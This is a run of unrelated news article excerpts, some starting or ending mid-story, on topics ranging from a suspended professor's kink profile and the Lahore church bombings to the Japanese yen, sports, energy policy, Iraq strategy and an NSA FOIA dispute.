The anarchist John Jay College professor who tweeted “it’s a privilege to teach future dead cops” says publicly that he despises authority and punishment, but privately he’s seeking a dominatrix to rule him with an iron fist.
Michael Isaacson’s personal profile on FetLife — an online social network for people interested in bondage, domination, sadomasochism and all manner of kink — proclaims “I need a domme” to choke, waterboard and smother him.
The naughty professor, who was suspended a few weeks ago from his job at the CUNY college for future criminal-justice professionals, proudly posts photos of himself shirtless and hogtied.
Despite his love of being restrained, the 29-year-old adjunct economics professor has consistently expressed his hatred for law enforcement, government and imprisonment.
“I critique policing as an institution which operates at the behest of a state that increasingly represents the weapons and prison industry,” he wrote to The Post.
The “antifa” advocate admits that occasionally he will act dominant in bed, but usually because of his “subby” — or submissive — eagerness to please.
When he puts on his “dom” hat, he likes “calling my subs dirty fascist lapdog whores,” he writes.
Isaacson first got involved with the kink scene to please his partners and despite “all the whips and chains,” the community is “really welcoming” and based on consent, he told The Post last week.
Posting under the moniker “FellowSpaceCadet,” he last updated his profile Monday.
Among some of his many listed fetishes is “mummification” and “puppy play.” For the uninitiated, the latter means dressing up and acting like a dog.
But, he reveals, there is one thing the educator finds sexually out-of-bounds — “teacher/student role play.”
Isaacson describes himself as “polyamorous” and “pansexual,” meaning he is looking for romantic relationships with multiple people of any gender.
The controversial academic was suspended from John Jay College on Sept. 15 after tweeting in August , “Some of ya’ll might think it sucks being an anti-fascist teaching at John Jay College but I think it’s a privilege to teach future dead cops.”
The police union demanded Isaacson be fired, and Mayor de Blasio condemned him , tweeting, “New York City won’t stand for the vile anti-police rhetoric of Michael Isaacson and neither should John Jay College.”
The speed, he said, was because of a factor that is complicating Mr. Kuroda’s stimulus program: a rush by global investors to buy the yen, which is seen as a safe currency at a time of economic uncertainty. The resulting rise in the yen’s exchange rate has hurt the Japanese stock market and darkened the outlook for inflation, canceling out much of the efforts of the Bank of Japan, or B.O.J.
“The China slowdown, falling oil prices, fears about a U.S. recession — the headwinds facing the B.O.J. are very strong,” Mr. Adachi said.
One goal of negative interest rates is to redirect investors’ money from bonds into more theoretically productive assets like property and stocks. But in at least one sector, finance, the policy has deepened the equities rout. Banks are reluctant to pass the costs of negative rates on to depositors, for fear they will pull their money out of their accounts en masse. Instead, the banks are absorbing the penalties themselves, cutting into profits.
This week the yen has strengthened to a little over 114 to the dollar, about 10 percent stronger than its most recent low. That is bad news for the many Japanese companies that earn revenues outside Japan: the stronger the yen, the less their foreign-currency earnings contribute to profits.
The Nikkei 225-stock average dropped 5.4 percent Tuesday, its biggest one-day drop since May 2013, as investors reacted to the potential blow to corporate earnings. It was down a further 0.7 percent in early trading Wednesday morning.
The degree will come in a ceremony on Tuesday, and next month, almost certainly, a major league team will draft him, probably in the top 15 rounds. One National League scout, who asked not to be identified because his team had not authorized him to share opinions on players, said Yastrzemski had outstanding makeup but would probably have to overachieve to reach the majors. His power, the scout said, was limited.
Yastrzemski has just three home runs this season, but his grandfather said he did not discover his own power until he was 26. “He’ll learn to hit with power,” he said. “Right now, the main thing is to hit for average and drive in runs.”
His .333 average would be a career high, and Vanderbilt has a chance to win the university’s first national championship. Carl Yastrzemski will be paying attention, although probably away from the crowds.
Yastrzemski helps with Red Sox minor leaguers in spring training, but he does not like to fly. Life has not been easy lately; four years after losing his son, he had triple bypass surgery. The success of his grandson has helped. “It’s like a peace for him,” Mike Yastrzemski said. “I’ve got a bunch of other cousins who are doing really well, and just seeing all of us succeed and grow up, he’s really grown into that role over time. He’s gotten more comfortable with it. He realizes he’s not going to live forever.”
As he spoke, Mike Yastrzemski leaned against a dugout railing on the third-base line here, 200 feet or so from the wall that connects generations. After all that has happened, he said, his only surviving grandfather might have grown distant. Instead, they grew closer.
The Jamaat-al-Ahrar, a faction of the Pakistani Taliban, claimed responsibility for the attack that targeted the Roman Catholic Church and Christ Church in Youhanabad area at about 11.30am.
The blasts caused widespread panic and anger in the area, which is home to tens of thousands of Christians. A mob caught two men suspected of being involved in the attack and lynched them before setting their bodies on fire, police said.
Pakistani Christians protest against the suicide bombing attack on two churches in Lahore. (AP Photo)
Television footage showed dozens of stick-wielding men, mostly belonging to the Christian community, ransacking the metro bus terminal in the city, Dawn online reported.Enraged protestors held four injured policemen captive at a shop after the blast for allegedly watching a cricket match instead of performing their duties at the time of the bomb attack.
This was the deadliest terror attack on Pakistan's Christian minority since September 2013, when two suicide bombers struck the All Saint's Church in Peshawar, killing 127 people and injuring more than 250. The minority has for long been the target of terrorist attacks and hate crimes.
In a message sent to the media, Jamaat-al-Ahrar spokesperson Ehsanullah Ehsan said suicide bombers from the "Aafia Siddiqui Brigade" carried out the blasts. Siddiqui is a Pakistani scientist serving an 86-year prison term in the US after being convicted of terror charges.
"We have carried out the attack…We have reached Lahore, the center of Punjab province, which is a challenge and a warning to the rulers," Ehsan was quoted as saying by The Express Tribune.
At the time of the blasts, the two churches located close to each other were packed with worshippers for the Sunday service. The second blast went off about five minutes after the first one. People ran out of the churches in fear.
Local residents told the media one suicide attacker blew himself up outside the Catholic Church when he was stopped by a security guard. The residents claimed both blasts were carried out by suicide attackers though there was no official word on this.
"I was sitting at a shop near the church when a blast jolted the area. I rushed towards the spot and saw the security guard scuffle with a man who was trying to enter the church. After failing, he blew himself up," witness Amir Masih told Reuters.
"I saw his body parts flying through the air."
Officials at Lahore's General Hospital told reporters that 15 people were killed and 78 others injured. Two policemen were among the dead. Officials said they feared the death toll could rise as the condition of 30 injured people was critical.
Christian leaders told the media the casualties would have been higher if the attackers had entered the churches. They said the doors of the churches were always shut during the Sunday service and this had helped protect the people.
Youhanabad is Pakistan's largest Christian neighbourhood and is home to about 200,000 people. The blasts triggered anger among local residents, who protested against the government's failure to provide adequate security to the area and the churches.
Christians also protested at several places in Lahore and in other cities, including Nankana Sahib, Multan, Peshawar and the southern port city of Karachi.
Lahore is the capital of Punjab, Pakistan's most populous province and the stronghold of Prime Minister Nawaz Sharif's PML-N party. The city is generally considered peaceful but it has witnessed several brazen terror attacks, including some that targeted the armed forces and the Inter-Services Intelligence agency.
Birth comes at a dire time for giraffes, whose numbers have plummeted in recent years
(CNN) It's a boy!
April the giraffe welcomed a not-so-little bundle of joy Saturday morning after animal lovers devoted weeks to watching and waiting.
April is one of the most popular residents at the Animal Adventure Park in Harpursville, New York. Fans have kept up with her for weeks as she anticipated the birth of her fourth calf. April is 15 years old.
After a 16-month gestation period, the wait finally ended with the male calf's debut in a livestream from the zoo. At the time of the birth, 1.25 million people were watching the livestream. It is the first time a calf has been born in the animal park.
The weight of the newborn is unknown, but a calf at birth is usually about 6 feet tall and weighs a whopping 100 to 150 pounds. Calves start walking about half an hour after birth.
Woodbine comes in with international experience with his country, playing for Jamaica in the 2010 WC qualifiers, has played for Charleston Battery (USL), and was most recently signed to New England Revolution, though he did not appear in any MLS matches.
Woodbine fills a need in our defense with the loan recall of RB Ryan Richter, the injury to CB/RB Drew Beckie, and the suspension of RW/RB Phil Davies. He should provide good competition to RB Andres Fresenga, who is returning from injury, and CB/RB Kenny Caceros, who Hofley reported has been training with the starting XI this week for the match vs. Carolina.
Ottawa Sun: https://twitter.com/chrishofley/status/507561592272076800
New England Revolution: http://www.revolutionsoccer.net/news/2013/08/revs-sign-jamaican-defender-o%E2%80%99brian-woodbine
New England Revolution: http://www.revolutionsoccer.net/news/2014/06/revolution-waives-defender-obrian-woodbine
MLS: http://www.mlssoccer.com/players/obrian-woodbine
Wikipedia: http://en.wikipedia.org/wiki/O%27Brian_Woodbine
The attack took place shortly after midnight (16:00 GMT) at the Resorts World Manila complex, police said on Friday, adding that all the victims died from suffocation and smoke inhalation.
"Thirty-six deaths, this is due to suffocation," Manila police chief Oscar Albayalde told CNN Philippines.
Police had previously said that at least 25 people died in what they described as a botched robbery attempt.
The unidentified gunman self-immolated after firing at armed officers and causing havoc in the casino, according to police.
"He laid down on the bed, covered himself in a thick blanket and apparently doused himself in gasoline," Ronald dela Rosa, national police chief, told reporters, adding that a sub-machine gun and a small calibre gun were captured with the attacker.
READ MORE: Resorts World Manila complex on lockdown after attack
The gunman stole gambling chips, shot TV screens and set gambling tables ablaze after pouring gasoline on them, dela Rosa said.
Claims on social media said the attack was executed by "lone wolf soldiers" of the Islamic State of Iraq and the Levant (ISIL, also known as ISIS) group, but police noted the man did not shoot anyone he encountered.
"He would have shot all the people gambling there" if it had been "terrorism", dela Rosa added.
It was not clear how the gunman smuggled gasoline and an assault rifle into the crowded casino.
Ernesto Abella, a spokesman for President Rodrigo Duterte, echoed the police statements at a press conference later.
"All indications point to a criminal act by an apparently emotionally disturbed individual," Abella said.
"Although the perpetrator gave warning shots, there apparently was no indication that he wanted to do harm or shoot anyone."
Police: 'Attacker probably a foreigner'
Albayalde, the Manila police chief, said the attacker was likely to be a foreigner.
"He looks Caucasian, he talks English, he's big and he's white, so he's probably a foreigner," Albayalde said. "It's either he lost in the casino and wanted to recoup his losses or he went totally nuts."
The entertainment complex where the incident happened is close to Ninoy Aquino International Airport and an air force base.
The Philippines has been on heightened alert amid a crisis in the south of the country, where troops have been battling ISIL-linked rebels since May 23 in Marawi City, some 800km south of Manila.
President Duterte declared martial law on the southern island of Mindanao last week and warned it could become a haven for supporters fleeing Iraq and Syria.
National Grid is preparing to publish the results of the latest “capacity market” auction, a Government scheme that will pay energy companies to guarantee they can provide electricity in 2019-20.
On Thursday night, the company said the price of the subsidies would be £18 per kilowatt , to be paid for just over 46 gigawatts of capacity, giving a total subsidy bill of about £830m.
Subsidies are awarded to the companies that can offer capacity for the lowest possible price. Experts said the price was likely to be far too low to secure the construction of any new gas-fired power stations, despite the stated wish of energy secretary Amber Rudd to see more built.
Instead, they expect that heavily-polluting diesel generators, which are very cheap to build, will qualify, as well as the owners of interconnector cables that can import cheaper power from the continent.
Old coal, gas and nuclear plants are also expected to get subsidies.
Last year the first capacity market auction - to keep the lights on in 2018-19 - resulted in a price of £19/kw of capacity. However, the only new gas plant that was due to be built through the scheme has so far failed to find investors.
Ms Rudd has already said the capacity market design may need to be reviewed in light of the results of this round.
Lisa Nandy, the shadow energy secretary, said: “This policy has failed in its purpose of attracting investment in new power stations.
Kathy Griffin is paying the price for that controversial anti-Trump photo shoot. While the comedian apologized profusely for holding a mock severed “head” — resembling Donald Trump’s — during a photo shoot with provocative shutterbug Tyler Shields, she’s taking a hit where it hurts: her wallet.
CNN announced on Wednesday that it had “fired” the redheaded firecracker from her New Year’s Eve hosting gig, which she’s held for a decade, opposite Anderson Cooper. “CNN has terminated our agreement with Kathy Griffin to appear on our New Year’s Eve program,” the network said in a statement.
CNN has terminated our agreement with Kathy Griffin to appear on our New Year's Eve program. — CNN Communications (@CNNPR) May 31, 2017
Cooper had already tweeted that he was “appalled” by the photo, which saw Griffin holding a “head” that looked like the president’s, covered with blood.
For the record, I am appalled by the photo shoot Kathy Griffin took part in. It is clearly disgusting and completely inappropriate. — Anderson Cooper (@andersoncooper) May 31, 2017
While Griffin, 56, faced the music and apologized pretty much immediately following the publication of the photo, that wasn’t good enough for CNN or Trump himself, who called her “sick” in a tweet on Wednesday morning.
Kathy Griffin should be ashamed of herself. My children, especially my 11 year old son, Barron, are having a hard time with this. Sick! — Donald J. Trump (@realDonaldTrump) May 31, 2017
Trump also said that his children were “having a hard time” with the photo, especially his 11-year-old son, Barron. (According to TMZ, the boy thought the head really was his dad’s. The story claims that he was “in front of the TV watching a show when the news came on and he saw the bloody image. We’re told that he panicked and screamed, ‘Mommy, Mommy!’”)
Griffin has also lost an endorsement with Squatty Potty over the incident. Company CEO Bobby Edwards, whose product is a toilet footstool designed to allow for better bowel movements (can’t make this stuff up), said he was “shocked and disappointed to learn about the image Ms. Griffin shared” and called it “deeply inappropriate” and “contrary to the core values our company stands for.” Griffin had recently been hired to appear in their ad campaign.
On Tuesday, Griffin apologized in a video shared on social media. She said, “I sincerely apologize. I am just now seeing the reaction of these images. I’m a comic. I crossed the line. I move the line, then I cross it. The image went way too far. The image is too disturbing. I understand how it offends people. It wasn’t funny. I get it. I’ve made a lot of mistakes in my career. I will continue [to do so] … I ask for your forgiveness … taking down the image, gonna ask the photographer to take down the image, and I beg for your forgiveness. I went too far. I made a mistake, and I was wrong.”
Apologies can only get you so far, though, as Griffin is learning the hard way.
A Democratic congressman is suggesting that members of the Electoral College should be able to consider Russian interference in the presidential election — and whether it influenced the outcome — when deciding how to cast their vote.
"To the extent that foreign interference in the United States presidential elections may have influenced the final result, I believe the electors have the right to consider that,” Rep. David Cicilline (D-R.I.) said in a statement to POLITICO on Saturday.
Story Continued Below
Cicilline appears to be the first member of Congress and the highest-ranking elected official in the country to endorse the notion that electors aren’t simply rubber stamps for their states’ popular vote. Earlier Saturday, he retweeted a Rhode Island-based national security expert who argued that the intelligence community “must brief electoral college about Russia before vote.”
Cicilline’s comments come amid the explosive determination by the U.S. intelligence community that Russia interfered in the presidential election in support of Donald Trump. Trump’s transition team has forcefully denied the conclusion.
“EC exists to protect republic from candidate under foreign influence,” the expert, Salve Regina University researcher Jim Ludes, wrote.
The Petroleum Services Association of Canada announced Monday it made the $500-million pitch to Ottawa earlier this month. The sum would cover a small fraction of the work needed to decommission the 75,000 wells across the province that are no longer producing.
“Good on them,” Energy Minister Marg McCuaig-Boyd said of PSAC’s move.
“That is one way to get Albertans back to work in the interim and it isn’t unprecedented,” she told reporters after speaking at an energy conference in Calgary on Tuesday.
MAP: Alberta littered with inactive oil and gas wells
McCuaig-Boyd referred to the Alberta government’s $30-million contribution to the province’s orphan well fund during the last downturn in 2009.
While Alberta does have a polluter pay policy that makes companies responsible for well decommissioning, McCuaig-Boyd says the province also has big economic problems.
“I think we could put a lot of folks to work in a fairly quick time because the skills are out there right now and it is an issue that needs to be dealt with,” she said.
“It will provide some jobs. No solution is going to provide jobs for everybody, but we need to look at how we can get as many Albertans back to work as we can.”
INTERACTIVE: The hidden cost of abandoned oil and gas wells in Alberta
The Saskatchewan government made a similar federal pitch last month.
That province’s proposal would cost Ottawa $156 million and would generate an estimated 1,200 jobs over the next two years.
Saskatchewan Premier Brad Wall said he’s not heard back from Ottawa yet on his proposal, but that he’ll be watching next week’s federal budget “very, very closely.”
“We’re hopeful (the PSAC ask) helps . . . provide some momentum to our request and that the federal government would indeed go with our request,” Wall said in a phone interview during an election campaign stop in Saskatoon.
Meanwhile, in her speech, McCuaig-Boyd touched on pipelines, saying the NDP government is taking a “calm and strategic” approach to the heated issue.
“We will get nowhere by beating our chests and shaming people into getting what we want,” she said. “That strategy has been tried in the past here in Alberta and federally and, to be honest, it’s failed miserably. Instead, we are taking a different approach.”
READ MORE: What you need to know about Canada’s changing pipeline process
She said without a pipeline to the West Coast, the industry will slow down and have a lower demand for the hydroelectric power British Columbia wants to sell to Alberta.
“There’s a little give and take needed,” said McCuaig-Boyd, who added that she has not yet had the chance to broach the topic with her B.C. counterpart.
It’s about the worst version of “Smells Like Teen Spirit” you could find. But it is awesome all the same for its totally unique medium. This particular LP is part of the batch of the first records ever to be created on a 3-D printer.
“It’s surprising how much you can deform and down-sample an audio file and still recognize it,” says Amanda Ghassaei, assistant tech editor at Instructables, who printed the record, and several others, including music from the Pixies, Daft Punk, and Radiohead.
Ghassaei used a state-of-the-art Objet Connex 500 printer to generate the disc. The whole process is possible because printing resolution has finally become high enough to create the audio-laden grooves for the needle to track and amplify. For her printed records, Ghassaei sets the machine to its finest setting, 600 dpi, with 16 micron steps, about the highest quality available on the market. But it’s still far lower resolution than on a vinyl LP, by a factor of 10 or so; hence the muddled sound that results in part from the needle responding to the layering of the printed plastic. Ghassaei used an 11 Khz sampling rate — the highest the resolution would allow, around 1/4 what you get from an MP3. Even at that low of a rate, the printer’s deficiencies cut off the song’s high-range tones.
“It’s really stripped down, it’s down to the bare essentials,” she says. “It’s never going to be as good as vinyl. It’s not really set up for that. But it’s cool because you can really be creative with it.”
To create the 3-D model for the record, Ghassaei essentially reverses the process of ripping an MP3. As the groove of a record is a microscopic image of the analog audio, she starts with the digitized waveform, using Python to take it directly from the MP3 file, and renders the shape of it into an STL wireframe using Processing, an open source tool that automates the file generation. She then uses the software to wrap it in a spiral on a 3-D 12-inch disc, varying the depth of the groove to match the waveform. Compared to a normal record, hers have increased amplitude and groove depth to account for the coarse resolution.
While it’s a first for a printed proper LP, others have toyed with simpler forms of 3-D printable music. Earlier this year, Fred Murphy generated “Stairway to Heaven” and three other songs on discs for the classic Fisher Price record player. That toy turntable is different than the common vinyl record player, though; it uses a music-box system with tines that sound as they rotate over the record’s raised bumps. Murphy posted the how-to for his project on Instructables, and offers pre-made versions of his discs through Shapeways.
Ghassaei, like Murphy, has put her project up on Instructables, though it’s not particularly useful unless you have access to a high-end printer in the range of hundreds of thousands of dollars. She is also limited to the first 60 seconds or so, because of the data- and memory-intense 3-D file. A full song would take up a whole side of the album, and the file size would exceed a gigabyte. But that’s not really the point.
When I was in Iraq in 2009, political space existed in Iraq for a centrist government that could bridge the sectarian divide between Sunni and Shia and allow the Kurds enough autonomy to fulfill their aspirations while not destabilizing the Iraqi state. That moment has passed.
For understandable reasons, Iraq’s Shia now see an existential threat on the horizon, which threatens sites sacred to both their faith and to their lives. In the absence of an effective Iraqi state, they will turn to the only available forces capable of securing their interests— Shia militias affiliated with various political parties and more direct military aid from Iran , which has already started flowing into the country. Nevertheless, in the end, Persian military assistance and sectarian militias will fail to restore peace to the country—they will ensure that Samarra and Baghdad do not fall under direct ISIS control, but they cannot secure Baghdad in the long term against a continued stream of suicide bombers flowing in from Sunni environs to the North and West of the Iraqi capital.
Furthermore, even if the Maliki government had a serious desire to garner Sunni support, the very existence of Iranian forces in Iraq makes impossible the cultivation of moderate Sunni groups in the North and West, whose support will be needed to drive ISIS out of its newly conquered territories. The United States could coopt and cultivate moderate Sunnis during the Surge, because as non-Muslims from a far-off land, Americans have no historic stake in old and deep rivalries in the region between Sunni and Shia, Arab and Persian. A few years ago, a more broad-minded and inclusive Shia political leadership than Maliki’s could have found common ground with Iraq’s Sunnis due to their shared Arab heritage and a real sense of common Iraqi identity, but increasingly visible Iranian intervention in Iraq will alienate what few moderate Sunnis remain alive in the North and West. Even if ISIS’s violent and extremist rule eventually leads to another “Awakening” against them among Iraq’s Sunnis—a phenomena that may be occurring in Anbar as we speak—that does not mean the Sunni opponents of ISIS will accept the legitimacy of a Baghdad government so obviously dependent on Iranian support. But without external support from Baghdad, it is difficult to believe that local Sunni opponents will be able to expel the hardened and savvy fighters fielded by ISIS—at least in the short term.
Finally, even in the extraordinarily unlikely event that Shia leaders emerge who can appeal to that deep, but sometimes submerged, current of Arab nationalism that they share with Iraq’s Sunnis, the very forces that might unify Iraq’s Arabs will only sow divisions with the Kurds. When I served in Iraq in 2009, Maliki reached out to some Sunni tribes, but part of that outreach involved Maliki pushing back against Kurdish influence in disputed regions in north-central Iraq—because in a shared distaste for Kurdish autonomy, Maliki could find common ground with Sunni nationalists. Dexter Filkins has chronicled the sad story of the more sectarian course Maliki chose after the 2010 parliamentary elections.
Maliki’s own incompetence, however, has created a historic opportunity for the Kurds. The power vacuum created by the rise of ISIS and the collapse of the Iraqi Army in Northern Iraq has allowed the Kurds to assert control over the strategic city of Kirkuk and push into other mixed and disputed areas, including my former posting in Tuz Khormato, and no one should expect the Kurds to give up those gains—especially because the Kurds rightly believe that only their own military forces can protect them from the excesses of ISIS.
Could serious American military intervention revive the dream of a multiethnic and nonsectarian Iraq? Perhaps; but even if a relatively small footprint of American Special Forces backed by airpower could expel ISIS forces, only a large American military presence comparable to what entered Iraq in 2003 would provide sufficient leverage to American policy makers to broker the political compromises and bargains necessary to save the Iraqi state. Does anyone seriously believe the American people would support such a course?
If north-central Iraq is fated (for at least the near term) to be at best a violent and war-torn charnel house, divided between ISIS forces and more secular, armed Sunni groups who will quickly grow weary of the former’s religious excess, or worse yet, a secure safe haven for ISIS to continue radiating murder and mayhem throughout the region and perhaps beyond, then from the perspective of American interests, what is to be done?
The United States should throw its weight behind the Kurds in exchange for security and intelligence cooperation that includes a modest American military presence, while still refusing to recognize formal Kurdish independence . From secure bases in Kurdistan, American military and intelligence assets should aim to disrupt ISIS and other similar groups in order to ensure that both north-central Iraq and Syria do not become safe havens and training grounds for terrorists hoping to strike at western targets. Moderate Sunni opponents of groups such as ISIS should be encouraged if they emerge, but Americans should be realistic about our limited leverage in the region at this point.
ISIS-trained extremists with battlefield experience and Western passports returning to their home countries present a nightmare scenario to say the least. For all its reluctance to act militarily in Iraq and Syria, this administration has already established precedents for these sorts of limited counterterrorism operations in Pakistan and other environs. Even if ISIS at the moment has no ambitions to strike at Western targets, the situation demands monitoring, and only secure American bases in the region can provide the eyes and ears American intelligence agencies will need to prevent possible future attacks.
It would be a mistake to romanticize the Kurds—the Barzani clan has its own authoritarian tendencies, but compared to the current rulers in Mosul and Baghdad, Kurdistan’s sunburst flag shines bright. Furthermore, Kurdish and American interests align closely enough to build a durable alliance—the Kurds will not only want to keep the murder and mayhem associated with ISIS out of their territory, they will welcome our de facto support of their expanded sphere of influence. Most Kurds view the United States as one of the crucial midwives of their current golden age, while good relations between Kurdistan’s and Turkey’s governments should also assuage the latter’s concern with the potentially destabilizing effects of a too-independent Kurdish state.
When I served in a mixed part of Iraq that included Kurds, Turcomans (Sunni and Shia) and Sunni Arabs, I helped carry out an American policy that aimed to restrain Kurdish ambitions out of the reasonable belief that Iraq’s diverse and variegated population made a peaceful partition impossible. Sadly, partition through violence now defines Iraq’s political geography. In the long term, I believe that Iraq’s Shia will become weary of playing the cat’s paw to Iran’s geopolitical ambitions, especially since the latter will not be able to truly deliver on the promise of providing consistent security in Baghdad. Iraq’s Sunnis will also eventually repudiate the likes of ISIS, which is already sowing the seeds of its own future demise. But in the meantime, America must reimagine its strategic policy to take into account the painful consequences of its recent defeat.
Today, we take a look at the New Orleans Saints. Click on the tabs above to see previews for the rest of the NFC South. For the rest of the NFL, click here.
Training camp report date: Rookies July 20, veterans July 27.
Training camp location: The Greenbrier, White Sulphur Springs, West Virginia.
Offseason in a nutshell: Though the Saints were a disaster a year ago and all signs pointed to the team playing without either Sean Payton or Drew Brees in 2016, something happened this offseason to put the rocking boat at ease. While change is sometimes healthy, Payton brought up a good point about an old message being new in a league with so much turnover. There is a sense around the team that after years of expensive free agency miscues and salary cap difficulties, there is actually a bedrock of affordable and potentially explosive talent on the roster. A 2016 second-round pick (Michael Thomas) and a 2014 first-round pick (Brandin Cooks) should be starting at wide receiver. A 2013 third-round pick (Terron Armstead) has developed into one of the five best offensive tackles in the league. First-round pick Sheldon Rankins has been advertised as Aaron Donald Part 2, and lines up next to Cameron Jordan and in front of 2015 first-round pick Stephone Anthony. Obum Gwacham is a name to watch as a situational pass rusher this year, and, on the back end of their defense, Delvin Breaux is a bright young cornerback with a tremendously high upside.
Player to watch: Defensive tackle Sheldon Rankins. Rankins, the subject of a longer piece I did on the pre-draft process back in April, reportedly lived up to the hype during minicamp and is an early favorite to stay on the field all three downs. Camp will provide more of an affirmation -- we have been led to believe that the defensive tackle will be a bully (and his college tape shows that was the case) -- but now we get to see him against Max Unger, Armstead and Andrus Peat every day in practice. For those who love a good training camp pass-rushing drill, it's time to get your popcorn ready.
THREE BURNING QUESTIONS:
1. Are the Saints still in mid-transition to a more power-based offense?
At the moment, New Orleans has three tight ends (Coby Fleener, Josh Hill and Michael Hoomanawanui) who are good enough to see the field on a consistent basis and three running backs (the Tim Hightower comeback continues!) who should earn significant carries. Last year, the offense ranked fourth in the league in plays run off the right guard (78) and eighth in plays run off the left guard (63), which suggests that we could see a more compact version of Payton's offense, even if blocking isn't Fleener's strong suit.
2. Are the Saints still on a hunt for their No. 2 wideout?
A report from NFL Media Insider Ian Rapoport on Thursday suggested they were the favorites to land Anquan Boldin -- the best remaining receiver in free agency. Many have projected rookie Michael Thomas in the No. 2 role, which would make for a fascinating under-the-radar training camp battle if Boldin were to hit NOLA. Signing a vet this late in the game doesn't necessarily guarantee a roster spot, either -- just ask former Packers and Giants receiver James Jones. If New Orleans decides to hedge its bets, more entertainment for the rest of us. Regardless, Thomas is worth watching during red zone periods to see if he can deliver on his abilities as a big-bodied natural scorer.
3. Do we see any difference in Drew Brees?
Despite what was an objectively bad Saints season, Brees still nearly hit the 5,000-yard mark, passed for more than 30 touchdowns and reduced his number of interceptions from the year before. He only missed one game despite lingering rotator-cuff issues and treated us to one of the greatest offensive (and worst defensive) games in NFL history in a 52-49 win over the New York Giants. Payton told the crew on "NFL Total Access" recently that he sees absolutely no difference in Brees, which leads us to believe there won't be any special veteran vacation or treatment days this summer.
Well, they did, and boy is the rest of the NBA world going to have another reason to hate the Dubs. They just stole one of the nation's top talents in a trade with the Chicago Bulls.
Oregon's Jordan Bell is joining the reigning champs.
Sources: Golden State acquired Jordan Bell from the Bulls for cash. A lot of it. https://t.co/2QXpmuJIyb — Adrian Wojnarowski (@WojVerticalNBA) June 23, 2017
The Bulls took Bell with the No. 38 overall selection, but it looks like the Warriors gave them an offer they couldn't refuse.
With the 38th pick in the 2017 #NBADraft, the @chicagobulls select @1jordanbell. — NBA Draft (@NBADraft) June 23, 2017
Bell helped lead Oregon to their second Final Four in school history, with the last one coming in 1939. His defensive prowess was among the best in the country, and he'll be adding yet another dynamic element to the Warriors roster.
With only two days away from our intended release we have to uphold traditions and push back the date.
Why the delay? Completing a project of this magnitude is a rather large undertaking for two people. And we suck at giving estimates. With all the heart and mind that we’ve put into this, stumbling out the door (which is an overstatement) at this point would be rather stupid. We want to get the game out to you asap but we also release it properly or we will regret it later.
Why didn’t we notify about the delay sooner? For the past months we’ve been knee deep in finalizing the game. Up until recently we were still on track but dropping tasks related to the release. It was but a few days ago that we took our heads out of the development sand and had to make the hard call.
What now? We’re going to take a couple of days to regroup and formulate the final steps.
We’re truly sorry for the delay and hope these raw untouched 4K screenshots of the finalized nature alleviate some of the pain.
Most transparency advocates and journalists would think of this as a feather in Leopold's cap, but according to government lawyers, filing too many lawsuits against agencies for failing to abide by federal records law is a good reason to delay further transparency.
U.S. Justice Department lawyers filed a motion Monday in response to one of Leopold's many FOIA lawsuits, asking a federal court to allow the National Security Agency to delay releasing a large tranche of documents to him, citing in part his extensive litigation to get public records.
The documents in question, reports from the agency's inspector general, contain roughly 22,000 pages concerning allegations of misconduct at one of the country's top spy agencies during 2013 and 2014.
The motion, which asks the court to allow the NSA to delay processing Leopold' request until it comes up in the long backlog of pending requests, says the NSA has been overwhelmed with FOIA requests since the 2013 leaks by Edward Snowden that revealed the agency's dragnet surveillance programs. However, the motion also goes to some lengths to paint Leopold as someone who is abusing the FOIA system.
In the government's motion, the NSA cites a Poynter article that says Leopold makes a living "by deluging the federal government with Freedom of Information Act requests," and that he styles himself as a "FOIA terrorist." (This is somewhat inaccurate. According to Leopold, the moniker originally came from government officials who were displeased with his work.)
"NSA has experienced a significant increase in the number of requests by a small group of requesters," the agency says in its motion. "These requesters also levy complex, multi-part, multi-subject requests simultaneously on various government agencies. Then these individuals often commence judicial action immediately after statutory requirements for exhausting administrative remedies have been satisfied. They presumably intend to jump to the front of the queue, ahead of requesters who have chosen not to litigate, many of whom almost certainly lack the necessary financial resources."
Leopold's lawyer, Joseph Creed Kelly, calls the government's motion "ridiculous."
"To pick on people who make a lot of requests and insinuate that they're taking advantage of the system, that sets a bad precedent," Kelly said. "People are entitled to information, and it doesn't matter how many requests they've filed or what kind of information they've sought in the past. Or in Jason's case, he's trying to make his living doing reporting on issues of public concern, and for the agency to insinuate he's somehow abusing the system is ridiculous."
Federal agencies are well aware that they have virtually unlimited money and time to drag out court fights, while the average FOIA requester very much does not. Even among large news organizations there are dwindling resources to spend fighting public records lawsuits against obstinate government agencies.
Leopold and the handful of other high-volume requesters and litigators are only outliers because of their persistence in fighting back against agencies that flout the spirit and, quite often, the letter of federal record law. The FOIA at best is clunky and half-useless for reporters, who often must wait years to get documents back. For example, I've been waiting since March 2015 to get a memo published by the Justice Department's Office of Legal Counsel. Another time, the Drug Enforcement Administration sat on one of my FOIA requests for its policies on GPS tracking for three years before transferring it to the Justice Department for further review. This is the sort of activity that led to an all-time high in FOIA lawsuits against the government during the Obama administration—a trend that likely will continue, given the media and public's intense interest in the Trump administration.
Yet the NSA apparently thinks that aggressively working to pry public records loose is some sort sign of nefarious intent. It's bad argument and a worse look for an agency already suffering from a deficit of public trust.
"The public's right to know is at the heart of FOIA," the Reporters Committee for Freedom of the Press tweeted Tuesday. "Intimidating journalists who are using FOIA to seek out information is wrong."
I wrote earlier this year about how the Obama administration pledged unprecedented transparency but in fact set the stage for even more secrecy by future administrations. I also wrote last year about the 50th anniversary of the improbable passage of the Freedom of Information Act.
As you may recall, 20 years ago, while the Bengals were still in the middle of their decade-long drought without a winning record, the team demanded a new football-only stadium to replace Riverfront Stadium, which had been shared by the Reds and Bengals since 1970.
Despite the string of losing, the Bengals suggested possibly looking at relocating if a new stadium wasn’t built for them. Hamilton county quickly caved in to the bluff and agreed to build Paul Brown Stadium under a lease agreement with the Bengals, which was considered by the Wall Street Journal, and many others, as a lousy deal for the taxpayers, and one of the worst publicly-funded stadium deals ever.
In addition to the $455 million construction cost and anticipated $258 million construction loan interest, Hamilton County has shelled out millions upon millions for insurance, maintenance, and additional upgrades such as a new scoreboard and stadium wi-fi.
One additional stipulation in the PBS lease is that it requires to county to start paying an annual “game day expenses” payment to the Bengals. The county would need to surrender $2.67 million this year, and increase that by five percent every year until the lease ends in 2026.
That would top out around $3.9 million in 2026 and total almost $30 million. It’s just the latest in a string of bad provisions which are included in the lease agreement, and apparently one where the county intends to draw the line.
Hamilton County Commission President Todd Portune told WCPO he has no plans of writing that check to the NFL team When asked if the Bengals are aware the county intends to ignore the request for payments, Portune said: “I think they know it’s coming.” The Hamilton County administrator also did not include the payments in his proposed budget for 2018.
